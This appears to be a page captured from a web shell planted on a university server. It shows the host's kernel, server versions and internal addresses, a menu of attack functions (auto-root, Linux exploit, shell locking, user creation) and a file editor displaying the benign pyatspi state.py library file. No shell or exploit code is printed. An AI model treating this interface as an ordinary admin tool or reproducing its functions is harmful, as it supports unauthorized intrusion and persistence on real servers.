Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
pyatspi /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
Accessibility.py
11.3
KB
-rw-r--r--
action.py
4.85
KB
-rw-r--r--
appevent.py
3.66
KB
-rw-r--r--
application.py
2.78
KB
-rw-r--r--
atspienum.py
1.39
KB
-rw-r--r--
collection.py
3.96
KB
-rw-r--r--
component.py
8.74
KB
-rw-r--r--
constants.py
4.79
KB
-rw-r--r--
deviceevent.py
9.48
KB
-rw-r--r--
document.py
3.6
KB
-rw-r--r--
editabletext.py
5.02
KB
-rw-r--r--
hypertext.py
2.76
KB
-rw-r--r--
image.py
5.01
KB
-rw-r--r--
__init__.py
993
B
-rw-r--r--
interface.py
980
B
-rw-r--r--
registry.py
19.42
KB
-rw-r--r--
role.py
13.54
KB
-rw-r--r--
selection.py
5.63
KB
-rw-r--r--
state.py
5.35
KB
-rw-r--r--
tablecell.py
3.08
KB
-rw-r--r--
table.py
15.77
KB
-rw-r--r--
text.py
32.07
KB
-rw-r--r--
utils.py
13.99
KB
-rw-r--r--
value.py
2.8
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : state.py
#Copyright (C) 2008 Codethink Ltd #copyright: Copyright (c) 2005, 2007 IBM Corporation #This library is free software; you can redistribute it and/or #modify it under the terms of the GNU Lesser General Public #License version 2 as published by the Free Software Foundation. #This program is distributed in the hope that it will be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public License for more details. #You should have received a copy of the GNU Lesser General Public License #along with this program; if not, write to the Free Software #Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. #Portions of this code originally licensed and copyright (c) 2005, 2007 #IBM Corporation under the BSD license, available at #U{http://www.opensource.org/licenses/bsd-license.php} #authors: Peter Parente, Mark Doffman from gi.repository import Atspi from gi.repository import GObject from pyatspi.atspienum import * #------------------------------------------------------------------------------ class StateType(AtspiEnum): _enum_lookup = { 0:'STATE_INVALID', 1:'STATE_ACTIVE', 2:'STATE_ARMED', 3:'STATE_BUSY', 4:'STATE_CHECKED', 5:'STATE_COLLAPSED', 6:'STATE_DEFUNCT', 7:'STATE_EDITABLE', 8:'STATE_ENABLED', 9:'STATE_EXPANDABLE', 10:'STATE_EXPANDED', 11:'STATE_FOCUSABLE', 12:'STATE_FOCUSED', 13:'STATE_HAS_TOOLTIP', 14:'STATE_HORIZONTAL', 15:'STATE_ICONIFIED', 16:'STATE_MODAL', 17:'STATE_MULTI_LINE', 18:'STATE_MULTISELECTABLE', 19:'STATE_OPAQUE', 20:'STATE_PRESSED', 21:'STATE_RESIZABLE', 22:'STATE_SELECTABLE', 23:'STATE_SELECTED', 24:'STATE_SENSITIVE', 25:'STATE_SHOWING', 26:'STATE_SINGLE_LINE', 27:'STATE_STALE', 28:'STATE_TRANSIENT', 29:'STATE_VERTICAL', 30:'STATE_VISIBLE', 31:'STATE_MANAGES_DESCENDANTS', 32:'STATE_INDETERMINATE', 33:'STATE_REQUIRED', 34:'STATE_TRUNCATED', 35:'STATE_ANIMATED', 36:'STATE_INVALID_ENTRY', 37:'STATE_SUPPORTS_AUTOCOMPLETION', 38:'STATE_SELECTABLE_TEXT', 39:'STATE_IS_DEFAULT', 40:'STATE_VISITED', 41:'STATE_CHECKABLE', 42:'STATE_HAS_POPUP', 43:'STATE_READ_ONLY', 44:'STATE_LAST_DEFINED', } #------------------------------------------------------------------------------ STATE_ACTIVE = StateType(1) STATE_ANIMATED = StateType(35) STATE_ARMED = StateType(2) STATE_BUSY = StateType(3) STATE_CHECKABLE = StateType(41) STATE_CHECKED = StateType(4) STATE_COLLAPSED = StateType(5) STATE_DEFUNCT = StateType(6) STATE_EDITABLE = StateType(7) STATE_ENABLED = StateType(8) STATE_EXPANDABLE = StateType(9) STATE_EXPANDED = StateType(10) STATE_FOCUSABLE = StateType(11) STATE_FOCUSED = StateType(12) STATE_HAS_POPUP = StateType(42) STATE_HAS_TOOLTIP = StateType(13) STATE_HORIZONTAL = StateType(14) STATE_ICONIFIED = StateType(15) STATE_INDETERMINATE = StateType(32) STATE_INVALID = StateType(0) STATE_INVALID_ENTRY = StateType(36) STATE_IS_DEFAULT = StateType(39) STATE_LAST_DEFINED = StateType(44) STATE_MANAGES_DESCENDANTS = StateType(31) STATE_MODAL = StateType(16) STATE_MULTISELECTABLE = StateType(18) STATE_MULTI_LINE = StateType(17) STATE_OPAQUE = StateType(19) STATE_PRESSED = StateType(20) STATE_READ_ONLY = StateType(43) STATE_REQUIRED = StateType(33) STATE_RESIZABLE = StateType(21) STATE_SELECTABLE = StateType(22) STATE_SELECTABLE_TEXT = StateType(38) STATE_SELECTED = StateType(23) STATE_SENSITIVE = StateType(24) STATE_SHOWING = StateType(25) STATE_SINGLE_LINE = StateType(26) STATE_STALE = StateType(27) STATE_SUPPORTS_AUTOCOMPLETION = StateType(37) STATE_TRANSIENT = StateType(28) STATE_TRUNCATED = StateType(34) STATE_VERTICAL = StateType(29) STATE_VISIBLE = StateType(30) STATE_VISITED = StateType(40) #------------------------------------------------------------------------------ # Build a dictionary mapping state values to names based on the prefix of the enum constants. STATE_VALUE_TO_NAME = dict(((value, name[6:].lower().replace('_', ' ')) for name, value in globals().items() if name.startswith('STATE_'))) #------------------------------------------------------------------------------ def stateset_init(self, *states): GObject.GObject.__init__(self) list(map(self.add, states)) # TODO: Fix pygobject so that this isn't needed (BGO#646581 may be related) def StateSet_getStates(self): ret = [] for i in range(0, 64): if (self.states & (1 << i)): ret.append(Atspi.StateType(i)) return ret StateSet = Atspi.StateSet StateSet.getStates = StateSet_getStates StateSet.isEmpty = StateSet.is_empty StateSet.raw = lambda x: x StateSet.unref = lambda x: None StateSet.__init__ = stateset_init
Close